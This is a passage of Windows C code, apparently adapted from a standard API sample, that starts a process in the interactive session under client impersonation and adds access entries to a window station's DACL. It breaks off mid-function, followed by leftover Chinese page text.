NULL, // pointer to thread SECURITY_ATTRIBUTES

FALSE, // handles are not inheritable

NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, // creation flags

NULL, // pointer to new environment block

NULL, // name of current directory

&si, // pointer to STARTUPINFO structure

&pi // receives information about new process

);

// End impersonation of client.

RevertToSelf();

goto Cleanup;

//return bResult; <------------------------------------------------------------------------

if (bResult && pi.hProcess != INVALID_HANDLE_VALUE)

{

WaitForSingleObject(pi.hProcess, INFINITE);

CloseHandle(pi.hProcess);

}

if (pi.hThread != INVALID_HANDLE_VALUE)

CloseHandle(pi.hThread);

Cleanup:

if (hwinstaSave != NULL)

SetProcessWindowStation (hwinstaSave);

// Free the buffer for the logon SID.

if (pSid)

FreeLogonSID(&pSid);

// Close the handles to the interactive window station and desktop.

if (hwinsta)

CloseWindowStation(hwinsta);

if (hdesk)

CloseDesktop(hdesk);

// Close the handle to the client's access token.

if (hToken != INVALID_HANDLE_VALUE)

CloseHandle(hToken);

return bResult;

}

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid)

{

ACCESS_ALLOWED_ACE *pace;

ACL_SIZE_INFORMATION aclSizeInfo;

BOOL bDaclExist;

BOOL bDaclPresent;

BOOL bSuccess = FALSE;

DWORD dwNewAclSize;

DWORD dwSidSize = 0;

DWORD dwSdSizeNeeded;

PACL pacl;

PACL pNewAcl;

PSECURITY_DESCRIPTOR psd = NULL;

PSECURITY_DESCRIPTOR psdNew = NULL;

PVOID pTempAce;

SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;

unsigned int i;

__try

{

// Obtain the DACL for the window station.

if (!GetUserObjectSecurity(

hwinsta,

&si,

psd,

dwSidSize,

&dwSdSizeNeeded)

)

if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)

{

psd = (PSECURITY_DESCRIPTOR)HeapAlloc(

GetProcessHeap(),

HEAP_ZERO_MEMORY,

dwSdSizeNeeded);

if (psd == NULL)

__leave;

psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(

GetProcessHeap(),

HEAP_ZERO_MEMORY,

dwSdSizeNeeded);

if (psdNew == NULL)

__leave;

dwSidSize = dwSdSizeNeeded;

if (!GetUserObjectSecurity(

hwinsta,

&si,

psd,

dwSidSize,

&dwSdSizeNeeded)

)

__leave;

}

else

__leave;

// Create a new DACL.

if (!InitializeSecurityDescriptor(

psdNew,

SECURITY_DESCRIPTOR_REVISION)

)

__leave;

// Get the DACL from the security descriptor.

if (!GetSecurityDescriptorDacl(

psd,

&bDaclPresent,

&pacl,

&bDaclExist)

)

__leave;

// Initialize the ACL.

ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));

aclSizeInfo.AclBytesInUse = sizeof(ACL);

// Call only if the DACL is not NULL.

if (pacl != NULL)

{

// get the file ACL size info

if (!GetAclInformation(

pacl,

(LPVOID)&aclSizeInfo,

sizeof(ACL_SIZE_INFORMATION),

AclSizeInformation)

)

__leave;

}

// Compute the size of the new ACL.

dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) - (2*sizeof(DWORD));

// Allocate memory for the new ACL.

pNewAcl = (PACL)HeapAlloc(

GetProcessHeap(),

HEAP_ZERO_MEMORY,

dwNewAclSize);

if (pNewAcl == NULL)

__leave;

// Initialize the new DACL.

if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))

__leave;

// If DACL is present, copy it to a new DACL.

if (bDaclPresent)

{

// Copy the ACEs to the new ACL.

if (aclSizeInfo.AceCount)

{

for (i=0; i < aclSizeInfo.AceCount; i++)

{

// Get an ACE.

if (!GetAce(pacl, i, &pTempAce))

__leave;

// Add the ACE to the new ACL.

if (!AddAce(

pNewAcl,

ACL_REVISION,

MAXDWORD,

pTempAce,

((PACE_HEADER)pTempAce)->AceSize)

)

__leave;

}

}

}

// Add the first ACE to the window station.

pace = (ACCESS_ALLOWED_ACE *)HeapAlloc(

GetProcessHeap(),

HEAP_ZERO_MEMORY

关键词:管理员

赞助商链接: